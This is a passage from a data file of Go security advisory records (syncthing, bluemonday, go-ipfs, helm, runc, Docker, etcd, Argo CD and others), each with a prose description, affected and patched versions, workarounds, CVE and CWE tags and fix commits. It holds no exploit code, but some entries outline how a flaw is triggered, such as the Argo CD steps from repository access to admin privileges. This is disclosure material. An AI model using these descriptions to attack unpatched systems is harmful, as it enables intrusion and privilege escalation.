1. `syncthing` can be caused to crash and exit if sent a malformed relay
protocol message message with a negative length field.
2. The relay server `strelaysrv` can be caused to crash and exit if sent
a malformed relay protocol message with a negative length field.
At no point is sensitive data exposed or liable to be altered due to this
issue. Sensitive data is never exposed to relay operators. Syncthing itself
would need to be lured to connect to a malicious relay server in order to
exploit the issue.
### Patches
Fixed in version 1.15.0.
### Workarounds
1. No known workaround for `strelaysrv`.
2. `syncthing` can be configured to not use relays, or to only use specific,
trusted relays. If Syncthing is used in a closed environment or with
relaying disabled, i.e., it does not communicate with unknown relays,
Syncthing is not vulnerable.
### For more information
If you have any questions or comments about this advisory, please discuss it [on the forum](https://forum.syncthing.net/).
Thanks to Wojciech Paciorek for discovering and reporting this issue. | {'CVE-2021-21404'} | 2021-05-20T20:52:26Z | 2021-05-21T16:23:17Z | LOW | null | {'CWE-20'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-21404', 'https://github.com/syncthing/syncthing/security/advisories/GHSA-x462-89pf-6r5h', 'https://pkg.go.dev/github.com/syncthing/syncthing', 'https://github.com/syncthing/syncthing/commit/fb4fdaf4c0a79c22cad000c42ac1394e3ccb6a97', 'https://github.com/syncthing/syncthing/releases/tag/v1.15.0'} | null | {'https://github.com/syncthing/syncthing/commit/fb4fdaf4c0a79c22cad000c42ac1394e3ccb6a97'} | {'https://github.com/syncthing/syncthing/commit/fb4fdaf4c0a79c22cad000c42ac1394e3ccb6a97'} |
Go | GHSA-3x58-xr87-2fcj | Cross-site scripting in bluemonday | bluemonday before 1.0.5 allows XSS because certain Go lowercasing converts an uppercase Cyrillic character, defeating a protection mechanism against the "script" string. | {'CVE-2021-29272'} | 2021-05-18T21:05:51Z | 2021-05-18T21:07:37Z | MODERATE | null | {'CWE-79'} | {'https://github.com/microcosm-cc/bluemonday/issues/111', 'https://vuln.ryotak.me/advisories/4.txt', 'https://github.com/microcosm-cc/bluemonday/releases/tag/v1.0.5', 'https://github.com/microcosm-cc/bluemonday/commit/524f142fe46e945b7dcd291d7805c4b7dcf75bee', 'https://vuln.ryotak.me/advisories/4', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29272'} | null | {'https://github.com/microcosm-cc/bluemonday/commit/524f142fe46e945b7dcd291d7805c4b7dcf75bee'} | {'https://github.com/microcosm-cc/bluemonday/commit/524f142fe46e945b7dcd291d7805c4b7dcf75bee'} |
Go | GO-2021-0101 | null | Due to an improper bounds check, parsing maliciously crafted messages can cause panics. If
this package is used to parse untrusted input, this may be used as a vector for a denial of
service attack.
| {'CVE-2019-0210'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/apache/thrift/commit/264a3f318ed3e9e51573f67f963c8509786bcec2', 'https://github.com/advisories/GHSA-jq7p-26h5-w78r'} | null | {'https://github.com/apache/thrift/commit/264a3f318ed3e9e51573f67f963c8509786bcec2'} | {'https://github.com/apache/thrift/commit/264a3f318ed3e9e51573f67f963c8509786bcec2'} |
Go | GO-2021-0052 | null | Due to improper HTTP header santization, a malicious user can spoof their
source IP address by setting the X-Forwarded-For header. This may allow
a user to bypass IP based restrictions, or obfuscate their true source.
| {'CVE-2020-28483'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/gin-gonic/gin/pull/2632', 'https://github.com/gin-gonic/gin/commit/bfc8ca285eb46dad60e037d57c545cd260636711', 'https://github.com/gin-gonic/gin/pull/2474'} | null | {'https://github.com/gin-gonic/gin/commit/bfc8ca285eb46dad60e037d57c545cd260636711'} | {'https://github.com/gin-gonic/gin/commit/bfc8ca285eb46dad60e037d57c545cd260636711'} |
Go | GHSA-xx8c-m748-xr4j | Access Restriction Bypass in kubernetes | The API server in Kubernetes does not properly check admission control, which allows remote authenticated users to access additional resources via a crafted patched object. | {'CVE-2016-1905'} | 2021-05-07T20:51:03Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-284'} | {'https://github.com/kubernetes/kubernetes/issues/19479', 'https://github.com/kubernetes/kubernetes/commit/9e6912384a5bc714f2a780b870944a8cee264a22', 'https://access.redhat.com/errata/RHSA-2016:0070', 'https://nvd.nist.gov/vuln/detail/CVE-2016-1905'} | null | {'https://github.com/kubernetes/kubernetes/commit/9e6912384a5bc714f2a780b870944a8cee264a22'} | {'https://github.com/kubernetes/kubernetes/commit/9e6912384a5bc714f2a780b870944a8cee264a22'} |
Go | GO-2020-0019 | null | An attacker can craft malicious WebSocket frames that cause an integer
overflow in a variable which tracks the number of bytes remaining. This
may cause the server or client to get stuck attempting to read frames
in a loop, which can be used as a denial of service vector.
| {'CVE-2020-27813'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/gorilla/websocket/pull/537', 'https://github.com/gorilla/websocket/commit/5b740c29263eb386f33f265561c8262522f19d37'} | null | {'https://github.com/gorilla/websocket/commit/5b740c29263eb386f33f265561c8262522f19d37'} | {'https://github.com/gorilla/websocket/commit/5b740c29263eb386f33f265561c8262522f19d37'} |
Go | GHSA-27pv-q55r-222g | Path traversal in github.com/ipfs/go-ipfs | ### Impact
It is currently possible for path traversal to occur with DAGs containing relative paths during retrieval. This can cause files to be overwritten, or written to incorrect output directories. The issue can only occur when `ipfs get` is done on an affected DAG.
1. The only affected command is `ipfs get`.
2. The gateway is not affected.
### Patches
Traversal fix patched in https://github.com/whyrusleeping/tar-utils/commit/20a61371de5b51380bbdb0c7935b30b0625ac227
`tar-utils` patch applied to go-ipfs via https://github.com/ipfs/go-ipfs/commit/b7ddba7fe47dee5b1760b8ffe897908417e577b2
### Workarounds
Upgrade to go-ipfs 0.8 or later.
### References
Binaries for the patched versions of go-ipfs are available on the IPFS distributions site, https://dist.ipfs.io/go-ipfs
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [go-ipfs](https://github.com/ipfs/go-ipfs)
* Email us at [security@ipfs.io](mailto:security@ipfs.io) | {'CVE-2020-26279'} | 2021-05-21T18:31:52Z | 2021-06-23T17:27:44Z | HIGH | null | {'CWE-22'} | {'https://github.com/ipfs/go-ipfs/security/advisories/GHSA-27pv-q55r-222g', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26279', 'https://github.com/whyrusleeping/tar-utils/commit/20a61371de5b51380bbdb0c7935b30b0625ac227', 'https://github.com/ipfs/go-ipfs/commit/b7ddba7fe47dee5b1760b8ffe897908417e577b2'} | null | {'https://github.com/whyrusleeping/tar-utils/commit/20a61371de5b51380bbdb0c7935b30b0625ac227', 'https://github.com/ipfs/go-ipfs/commit/b7ddba7fe47dee5b1760b8ffe897908417e577b2'} | {'https://github.com/ipfs/go-ipfs/commit/b7ddba7fe47dee5b1760b8ffe897908417e577b2', 'https://github.com/whyrusleeping/tar-utils/commit/20a61371de5b51380bbdb0c7935b30b0625ac227'} |
Go | GO-2021-0091 | null | Due to improper input validation when uploading a file, a malicious user may
force the server to return arbitary HTTP headers when the uploaded file
is downloaded.
| {'CVE-2020-15111'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/gofiber/fiber/commit/a8ad5454363f627c3f9469c56c5faaf1b943f06a', 'github.com/gofiber/fiber/pull/579', 'https://github.com/gofiber/fiber/security/advisories/GHSA-9cx9-x2gp-9qvh'} | null | {'https://github.com/gofiber/fiber/commit/a8ad5454363f627c3f9469c56c5faaf1b943f06a'} | {'https://github.com/gofiber/fiber/commit/a8ad5454363f627c3f9469c56c5faaf1b943f06a'} |
Go | GO-2020-0035 | null | Due to improper path santization, archives containing relative file
paths can cause files to be written (or overwritten) outside of the
target directory.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://snyk.io/research/zip-slip-vulnerability', 'https://github.com/yi-ge/unzip/commit/2adbaa4891b9690853ef10216189189f5ad7dc73', 'https://github.com/yi-ge/unzip/pull/1'} | null | {'https://github.com/yi-ge/unzip/commit/2adbaa4891b9690853ef10216189189f5ad7dc73'} | {'https://github.com/yi-ge/unzip/commit/2adbaa4891b9690853ef10216189189f5ad7dc73'} |
Go | GHSA-m54r-vrmv-hw33 | Improper Sanitizing of plugin names in helm | ### Impact
Security researchers at Trail of Bits discovered that plugin names are not sanitized properly. As a result, a malicious plugin author could use characters in a plugin name that would result in unexpected behavior, such as duplicating the name of another plugin or spoofing the output to `helm --help`.
### Patches
This issue has been patched in Helm 3.3.2.
### Workarounds
Do not install untrusted Helm plugins. Examine the `name` field in the `plugin.yaml` file for a plugin, looking for characters outside of the [a-zA-Z0-9._-] range. | {'CVE-2020-15186'} | 2021-11-19T15:28:38Z | 2021-05-24T16:57:12Z | LOW | null | {'CWE-20', 'CWE-74'} | {'https://github.com/helm/helm/security/advisories/GHSA-m54r-vrmv-hw33', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15186', 'https://github.com/helm/helm/commit/c8d6b01d72c9604e43ee70d0d78fadd54c2d8499', 'https://github.com/helm/helm/commit/809e2d999e2c33e20e77f6bff30652d79c287542', 'https://github.com/helm/helm'} | null | {'https://github.com/helm/helm/commit/c8d6b01d72c9604e43ee70d0d78fadd54c2d8499', 'https://github.com/helm/helm/commit/809e2d999e2c33e20e77f6bff30652d79c287542'} | {'https://github.com/helm/helm/commit/809e2d999e2c33e20e77f6bff30652d79c287542', 'https://github.com/helm/helm/commit/c8d6b01d72c9604e43ee70d0d78fadd54c2d8499'} |
Go | GO-2021-0087 | null | A race while mounting volumes allows a possible symlink-exchange
attack, allowing a user whom can start multiple containers with
custom volume mount configurations to escape the container.
| {'CVE-2019-19921'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/opencontainers/runc/commit/2fc03cc11c775b7a8b2e48d7ee447cb9bef32ad0', 'https://github.com/opencontainers/runc/pull/2207', 'https://github.com/opencontainers/runc/issues/2197'} | null | {'https://github.com/opencontainers/runc/commit/2fc03cc11c775b7a8b2e48d7ee447cb9bef32ad0'} | {'https://github.com/opencontainers/runc/commit/2fc03cc11c775b7a8b2e48d7ee447cb9bef32ad0'} |
Go | GO-2021-0068 | null | The go command may execute arbitrary code at build time when using cgo on Windows.
This can be triggered by running go get on a malicious module, or any other time
the code is built.
| {'CVE-2021-3115'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/golang/go/issues/43783', 'https://golang.org/cl/284780', 'https://golang.org/cl/284783', 'https://github.com/golang/go/commit/953d1feca9b21af075ad5fc8a3dad096d3ccc3a0', 'https://github.com/golang/go/commit/46e2e2e9d99925bbf724b12693c6d3e27a95d6a0'} | null | {'https://github.com/golang/go/commit/953d1feca9b21af075ad5fc8a3dad096d3ccc3a0', 'https://github.com/golang/go/commit/46e2e2e9d99925bbf724b12693c6d3e27a95d6a0'} | {'https://github.com/golang/go/commit/953d1feca9b21af075ad5fc8a3dad096d3ccc3a0', 'https://github.com/golang/go/commit/46e2e2e9d99925bbf724b12693c6d3e27a95d6a0'} |
Go | GHSA-77vh-xpmg-72qh | Clarify `mediaType` handling | ### Impact
In the OCI Image Specification version 1.0.1 and prior, manifest and index documents are not self-describing and documents with a single digest could be interpreted as either a manifest or an index.
### Patches
The Image Specification will be updated to recommend that both manifest and index documents contain a `mediaType` field to identify the type of document.
Release [v1.0.2](https://github.com/opencontainers/image-spec/releases/tag/v1.0.2) includes these updates.
### Workarounds
Software attempting to deserialize an ambiguous document may reject the document if it contains both “manifests” and “layers” fields or “manifests” and “config” fields.
### References
https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/opencontainers/image-spec
* Email us at [security@opencontainers.org](mailto:security@opencontainers.org)
* https://github.com/opencontainers/image-spec/commits/v1.0.2
| null | 2021-11-24T19:43:35Z | 2021-11-18T16:02:41Z | LOW | null | {'CWE-843'} | {'https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m', 'https://github.com/opencontainers/image-spec', 'https://github.com/opencontainers/image-spec/commit/693428a734f5bab1a84bd2f990d92ef1111cd60c', 'https://github.com/opencontainers/image-spec/releases/tag/v1.0.2', 'https://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh'} | null | {'https://github.com/opencontainers/image-spec/commit/693428a734f5bab1a84bd2f990d92ef1111cd60c'} | {'https://github.com/opencontainers/image-spec/commit/693428a734f5bab1a84bd2f990d92ef1111cd60c'} |
Go | GO-2020-0023 | null | Token validation methods are susceptible to a timing side-channel
during HMAC comparison. With a large enough number of requests
over a low latency connection, an attacker may use this to determine
the expected HMAC.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/robbert229/jwt/issues/12', 'https://github.com/robbert229/jwt/commit/ca1404ee6e83fcbafb66b09ed0d543850a15b654'} | null | {'https://github.com/robbert229/jwt/commit/ca1404ee6e83fcbafb66b09ed0d543850a15b654'} | {'https://github.com/robbert229/jwt/commit/ca1404ee6e83fcbafb66b09ed0d543850a15b654'} |
Go | GHSA-jm56-5h66-w453 | Repository index file allows for duplicates of the same chart entry in helm | ### Impact
During a security audit of Helm's code base, security researchers at Trail of Bits identified a bug in which the a Helm repository can contain duplicates of the same chart, with the last one always used. If a repository is compromised, this lowers the level of access that an attacker needs to inject a bad chart into a repository.
To perform this attack, an attacker must have write access to the index file (which can occur during a MITM attack on a non-SSL connection).
### Patches
This issue has been patched in Helm 3.3.2 and 2.16.11
### Workarounds
- do not install charts from repositories you do not trust
- fetch charts using a secure channel of communication (such as TLS)
- use `helm pull` to fetch the chart, then review the chart’s content (either manually, or with `helm verify` if it has been signed) to ensure it has not been tampered with
- manually review the index file in the Helm repository cache before installing software. | {'CVE-2020-15185'} | 2021-05-24T16:47:58Z | 2021-05-24T16:57:06Z | LOW | null | {'CWE-694', 'CWE-20', 'CWE-74'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-15185', 'https://github.com/helm/helm/commit/055dd41cbe53ce131ab0357524a7f6729e6e40dc', 'https://github.com/helm/helm/security/advisories/GHSA-jm56-5h66-w453', 'https://github.com/helm/helm/commit/6aab63765f99050b115f0aec3d6350c85e8da946'} | null | {'https://github.com/helm/helm/commit/055dd41cbe53ce131ab0357524a7f6729e6e40dc', 'https://github.com/helm/helm/commit/6aab63765f99050b115f0aec3d6350c85e8da946'} | {'https://github.com/helm/helm/commit/6aab63765f99050b115f0aec3d6350c85e8da946', 'https://github.com/helm/helm/commit/055dd41cbe53ce131ab0357524a7f6729e6e40dc'} |
Go | GO-2020-0022 | null | LZ4 bindings use a deprecated C API that is vulnerable to
memory corruption, which could lead to arbitrary code execution
if called with untrusted user input.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/cloudflare/golz4/commit/199f5f7878062ca17a98e079f2dbe1205e2ed898', 'https://github.com/cloudflare/golz4/issues/5'} | null | {'https://github.com/cloudflare/golz4/commit/199f5f7878062ca17a98e079f2dbe1205e2ed898'} | {'https://github.com/cloudflare/golz4/commit/199f5f7878062ca17a98e079f2dbe1205e2ed898'} |
Go | GHSA-g7v2-2qxx-wjrw | Symlink Attack in Libcontainer and Docker Engine | Libcontainer and Docker Engine before 1.6.1 opens the file-descriptor passed to the pid-1 process before performing the chroot, which allows local users to gain privileges via a symlink attack in an image. | {'CVE-2015-3627'} | 2021-05-20T16:33:03Z | 2022-02-15T01:18:02Z | MODERATE | null | {'CWE-59'} | {'https://github.com/docker/docker/commit/d5ebb60bddbabea0439213501f4f6ed494b23cba', 'https://nvd.nist.gov/vuln/detail/CVE-2015-3627', 'https://groups.google.com/forum/#%21searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ', 'https://seclists.org/fulldisclosure/2015/May/28', 'https://lists.opensuse.org/opensuse-updates/2015-05/msg00023.html', 'https://packetstormsecurity.com/files/131835/Docker-Privilege-Escalation-Information-Disclosure.html', 'https://groups.google.com/forum/#!searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ'} | null | {'https://github.com/docker/docker/commit/d5ebb60bddbabea0439213501f4f6ed494b23cba'} | {'https://github.com/docker/docker/commit/d5ebb60bddbabea0439213501f4f6ed494b23cba'} |
Go | GHSA-mq47-6wwv-v79w | Path traversal in claircore | A directory traversal vulnerability was found in the ClairCore engine of Clair. An attacker can exploit this by supplying a crafted container image which, when scanned by Clair, allows for arbitrary file write on the filesystem, potentially allowing for remote code execution. | {'CVE-2021-3762'} | 2022-03-18T23:23:02Z | 2022-03-04T00:00:16Z | HIGH | null | {'CWE-22'} | {'https://github.com/quay/clair/pull/1379', 'https://github.com/quay/claircore/commit/dff671c665141f126c072de8a744855d4916c9c7', 'https://nvd.nist.gov/vuln/detail/CVE-2021-3762', 'https://bugzilla.redhat.com/show_bug.cgi?id=2000795', 'https://github.com/quay/claircore', 'https://github.com/quay/claircore/commit/691f2023a1720a0579e688b69a2f4bfe1f4b7821', 'https://vulmon.com/exploitdetails?qidtp=maillist_oss_security&qid=d19fce9ede06e13dfb5630ece7f14f83', 'https://github.com/quay/clair/pull/1380', 'https://github.com/quay/claircore/pull/478'} | null | {'https://github.com/quay/claircore/commit/dff671c665141f126c072de8a744855d4916c9c7', 'https://github.com/quay/claircore/commit/691f2023a1720a0579e688b69a2f4bfe1f4b7821'} | {'https://github.com/quay/claircore/commit/dff671c665141f126c072de8a744855d4916c9c7', 'https://github.com/quay/claircore/commit/691f2023a1720a0579e688b69a2f4bfe1f4b7821'} |
Go | GO-2021-0086 | null | HTML content in mardkwon is not santized during rendering, possibly allowing
XSS if used to render untrusted user input.
| {'CVE-2019-19619'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/documize/community/commit/a4384210d4d0d6b18e6fdb7e155de96d4a1cf9f3'} | null | {'https://github.com/documize/community/commit/a4384210d4d0d6b18e6fdb7e155de96d4a1cf9f3'} | {'https://github.com/documize/community/commit/a4384210d4d0d6b18e6fdb7e155de96d4a1cf9f3'} |
Go | GO-2021-0069 | null | A number of math/big.Int methods can panic when provided large inputs due
to a flawed division method.
| {'CVE-2020-28362'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/golang/go/issues/42552', 'https://github.com/golang/go/commit/1e1fa5903b760c6714ba17e50bf850b01f49135c', 'https://go-review.googlesource.com/c/go/+/269657'} | null | {'https://github.com/golang/go/commit/1e1fa5903b760c6714ba17e50bf850b01f49135c'} | {'https://github.com/golang/go/commit/1e1fa5903b760c6714ba17e50bf850b01f49135c'} |
Go | GHSA-f854-hpxv-cw9r | Drainage of FeeCollector's Block Transaction Fees in cronos | ### Impact
In Cronos nodes running versions before v0.6.5, it is possible to take transaction fees from Cosmos SDK's FeeCollector for the current block by sending a custom crafted MsgEthereumTx.
User funds and balances are safe.
### Patches
This problem has been patched in Cronos v0.6.5 on the mempool level.
The next network upgrade with consensus-breaking changes will patch it on the consensus level.
### Workarounds
There are no tested workarounds. All validator node operators are recommended to upgrade to Cronos v0.6.5 at their earliest possible convenience.
### Credits
Thank you to @zb3 for reporting this issue on [Cronos Immunefi Bug Bounty Program](https://immunefi.com/bounty/cronos/), to @cyril-crypto for reproducing the issue and to @yihuang and @thomas-nguy for patching the issue on the CheckTx (mempool) and the DeliverTx (consensus) levels.
### For more information
If you have any questions or comments about this advisory:
* Open a discussion in [crypto-org-chain/cronos](https://github.com/crypto-org-chain/cronos/discussions/new)
* Email us at [chain@crypto.org](mailto:chain@crypto.org)
| {'CVE-2021-43839'} | 2022-01-06T20:21:28Z | 2022-01-06T18:30:54Z | HIGH | null | {'CWE-670'} | {'https://github.com/crypto-org-chain/cronos/', 'https://github.com/crypto-org-chain/cronos/commit/150ef237b37ac28c8136e1c0f494932860b9ebe8', 'https://github.com/crypto-org-chain/cronos/pull/270', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43839', 'https://github.com/crypto-org-chain/cronos/security/advisories/GHSA-f854-hpxv-cw9r'} | null | {'https://github.com/crypto-org-chain/cronos/commit/150ef237b37ac28c8136e1c0f494932860b9ebe8'} | {'https://github.com/crypto-org-chain/cronos/commit/150ef237b37ac28c8136e1c0f494932860b9ebe8'} |
Go | GHSA-57q7-rxqq-7vgp | On Windows, `git-sizer` might run a `git` executable within the repository being analyzed | ### Impact
On Windows, if `git-sizer` is run against a non-bare repository, and that repository has an executable called `git.exe`, `git.bat`, etc., then that executable might be run by `git-sizer` rather than the system `git` executable. An attacker could try to use social engineering to get a victim to run `git-sizer` against a hostile repository and thereby get the victim to run arbitrary code.
On Linux or other Unix-derived platforms, a similar problem could occur if the user's `PATH` has the current directory before the path to the standard `git` executable, but this is would be a very unusual configuration that has been known for decades to lead to all kinds of security problems.
### Patches
Users should update to git-sizer v1.4.0
### Workarounds
If you are on Windows, then either
* Don't run `git-sizer` against a repository that might contain hostile code, or, if you must…
* Run `git-sizer` against a bare clone of the hostile repository, or, if that is not possible…
* Make sure that the hostile repository doesn't have an executable in its top-level directory before running `git-sizer`.
If you are on Linux or other Unix-based system, then (for myriad reasons!) don't add the current directory to your `PATH`.
### References
* [Command PATH security in Go](https://blog.golang.org/path-security)
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [the `git-sizer` project](https://github.com/github/git-sizer).
* Email us at [GitHub support](mailto:support@github.com). | null | 2021-05-18T21:39:10Z | 2022-02-15T01:57:18Z | MODERATE | null | null | {'https://github.com/github/git-sizer/security/advisories/GHSA-57q7-rxqq-7vgp', 'https://github.com/github/git-sizer/commit/38400d6ddd79325e956b00ff584cfcc8dd96d536'} | null | {'https://github.com/github/git-sizer/commit/38400d6ddd79325e956b00ff584cfcc8dd96d536'} | {'https://github.com/github/git-sizer/commit/38400d6ddd79325e956b00ff584cfcc8dd96d536'} |
Go | GHSA-r4gv-vj59-cccm | Control character injection in console output in github.com/ipfs/go-ipfs | ### Impact
Control characters are not escaped from console output. This can result in hiding input from the user which could result in the user taking an unknown, malicious action.
### Patches
<!-- _Has the problem been patched? What versions should users upgrade to?_ -->
- Patched via https://github.com/ipfs/go-ipfs/pull/7831 in v0.8.0
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [go-ipfs](http://github.com/ipfs/go-ipfs)
* Email us at [security@ipfs.io](mailto:security@ipfs.io) | {'CVE-2020-26283'} | 2021-05-21T18:06:39Z | 2021-06-23T17:27:27Z | MODERATE | null | {'CWE-150', 'CWE-116'} | {'https://github.com/ipfs/go-ipfs/security/advisories/GHSA-r4gv-vj59-cccm', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26283', 'https://github.com/ipfs/go-ipfs/pull/7831', 'https://github.com/ipfs/go-ipfs/commit/fb0a9acd2d8288bd1028c3219a420de62a09683a'} | null | {'https://github.com/ipfs/go-ipfs/commit/fb0a9acd2d8288bd1028c3219a420de62a09683a'} | {'https://github.com/ipfs/go-ipfs/commit/fb0a9acd2d8288bd1028c3219a420de62a09683a'} |
Go | GHSA-g44j-7vp3-68cv | Arbitrary File Write in Libcontainer | Libcontainer 1.6.0, as used in Docker Engine, allows local users to escape containerization ("mount namespace breakout") and write to arbitrary file on the host system via a symlink attack in an image when respawning a container. | {'CVE-2015-3629'} | 2021-05-19T22:08:41Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-59'} | {'https://groups.google.com/forum/#%21searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ', 'http://seclists.org/fulldisclosure/2015/May/28', 'http://lists.opensuse.org/opensuse-updates/2015-05/msg00023.html', 'https://groups.google.com/forum/#!searchin/docker-user/1.6.1/docker-user/47GZrihtr-4/nwgeOOFLexIJ', 'http://www.securityfocus.com/bid/74558', 'http://packetstormsecurity.com/files/131835/Docker-Privilege-Escalation-Information-Disclosure.html', 'https://nvd.nist.gov/vuln/detail/CVE-2015-3629', 'https://github.com/docker/docker/commit/d5ebb60bddbabea0439213501f4f6ed494b23cba', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-3629'} | null | {'https://github.com/docker/docker/commit/d5ebb60bddbabea0439213501f4f6ed494b23cba'} | {'https://github.com/docker/docker/commit/d5ebb60bddbabea0439213501f4f6ed494b23cba'} |
Go | GO-2020-0034 | null | Due to improper path santization, archives containing relative file
paths can cause files to be written (or overwritten) outside of the
target directory.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://snyk.io/research/zip-slip-vulnerability', 'https://github.com/artdarek/go-unzip/commit/4975cbe0a719dc50b12da8585f1f207c82f7dfe0', 'https://github.com/artdarek/go-unzip/pull/2'} | null | {'https://github.com/artdarek/go-unzip/commit/4975cbe0a719dc50b12da8585f1f207c82f7dfe0'} | {'https://github.com/artdarek/go-unzip/commit/4975cbe0a719dc50b12da8585f1f207c82f7dfe0'} |
Go | GHSA-8w94-cf6g-c8mg | Man-in-the-Middle (MitM) | Docker before 1.3.1 and docker-py before 0.5.3 fall back to HTTP when the HTTPS connection to the registry fails, which allows man-in-the-middle attackers to conduct downgrade attacks and obtain authentication and image data by leveraging a network position between the client and the registry to block HTTPS traffic. | {'CVE-2014-5277'} | 2021-10-05T16:31:02Z | 2022-02-15T01:57:18Z | MODERATE | null | null | {'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-5277', 'https://github.com/docker/docker/commit/8caacb18f8019dfda30d79c327397e5f5783c068', 'https://groups.google.com/forum/#!topic/docker-user/oYm0i3xShJU', 'https://nvd.nist.gov/vuln/detail/CVE-2014-5277', 'https://github.com/docker/docker', 'http://lists.opensuse.org/opensuse-updates/2014-11/msg00048.html', 'https://groups.google.com/forum/#%21topic/docker-user/oYm0i3xShJU'} | null | {'https://github.com/docker/docker/commit/8caacb18f8019dfda30d79c327397e5f5783c068'} | {'https://github.com/docker/docker/commit/8caacb18f8019dfda30d79c327397e5f5783c068'} |
Go | GO-2021-0090 | null | Proposed commits may contain signatures for blocks not contained within the commit. Instead of skipping
these signatures, they cause failure during verification. A malicious proposer can use this to force
consensus failures.
| {'CVE-2020-15091'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/tendermint/tendermint/pull/5426', 'https://github.com/tendermint/tendermint/commit/480b995a31727593f58b361af979054d17d84340', 'https://github.com/tendermint/tendermint/issues/4926'} | null | {'https://github.com/tendermint/tendermint/commit/480b995a31727593f58b361af979054d17d84340'} | {'https://github.com/tendermint/tendermint/commit/480b995a31727593f58b361af979054d17d84340'} |
Go | GHSA-h6xx-pmxh-3wgp | Improper Authentication in etcd | etcd versions 3.2.x before 3.2.26 and 3.3.x before 3.3.11 are vulnerable to an improper authentication issue when role-based access control (RBAC) is used and client-cert-auth is enabled. If an etcd client server TLS certificate contains a Common Name (CN) which matches a valid RBAC username, a remote attacker may authenticate as that user with any valid (trusted) client certificate in a REST API request to the gRPC-gateway. | {'CVE-2018-16886'} | 2022-04-12T22:41:32Z | 2022-04-12T22:41:32Z | HIGH | null | {'CWE-287', 'CWE-285'} | {'http://www.securityfocus.com/bid/106540', 'https://github.com/etcd-io/etcd/commit/0191509637546621d6f2e18e074e955ab8ef374d', 'https://nvd.nist.gov/vuln/detail/CVE-2018-16886', 'https://github.com/etcd-io/etcd/pull/10366', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JX7QTIT465BQGRGNCE74RATRQLKT2QE4/', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16886', 'https://github.com/etcd-io/etcd/blob/1eee465a43720d713bb69f7b7f5e120135fdb1ac/CHANGELOG-3.3.md#security-authentication', 'https://github.com/etcd-io/etcd/blob/1eee465a43720d713bb69f7b7f5e120135fdb1ac/CHANGELOG-3.2.md#security-authentication', 'https://access.redhat.com/errata/RHSA-2019:0237', 'https://github.com/etcd-io/etcd/commit/bf9d0d8291dc71ecbfb2690612954e1a298154b2', 'https://access.redhat.com/errata/RHSA-2019:1352', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UPGYHMSKDPW5GAMI7BEP3XQRVRLLBJKS/'} | null | {'https://github.com/etcd-io/etcd/commit/0191509637546621d6f2e18e074e955ab8ef374d', 'https://github.com/etcd-io/etcd/commit/bf9d0d8291dc71ecbfb2690612954e1a298154b2'} | {'https://github.com/etcd-io/etcd/commit/0191509637546621d6f2e18e074e955ab8ef374d', 'https://github.com/etcd-io/etcd/commit/bf9d0d8291dc71ecbfb2690612954e1a298154b2'} |
Go | GHSA-2f5v-8r3f-8pww | Improper access control allows admin privilege escalation in Argo CD | ### Impact
#### Impacts for versions starting with v1.0.0
All unpatched versions of Argo CD starting with v1.0.0 are vulnerable to an improper access control bug, allowing a malicious user to potentially escalate their privileges to admin-level.
To perform the following exploits, an authorized Argo CD user must have push access to an Application's source git or Helm repository or `sync` _and_ `override` access to an Application. Once a user has that access, different exploitation levels are possible depending on their other RBAC privileges:
1. If that user has `update` access to the Application, they can modify any resource on the Application's destination cluster. If the destination cluster is or can be made to be the same as the cluster hosting Argo CD, the user can escalate their Argo CD permissions to admin-level.
2. If the user has `delete` access to the Application, they can delete any resource on the Application's destination cluster. (This exploit is possible starting with v0.8.0.)
3. If the user has `get` access to the Application, they can view any resource on the Application's destination cluster (except for the contents of Secrets) and list [actions](https://argo-cd.readthedocs.io/en/stable/operator-manual/resource_actions/) available for that resource.
4. If the user has `get` access to the Application, they can view the logs of any Pods on the Application's destination cluster.
5. If the user has `action/{some action or *}` access on the Application, they can run an action for any resource (which supports the allowed action(s)) on the Application's destination cluster. (Some actions are available in Argo CD by default, and others may be configured by an Argo CD admin.)
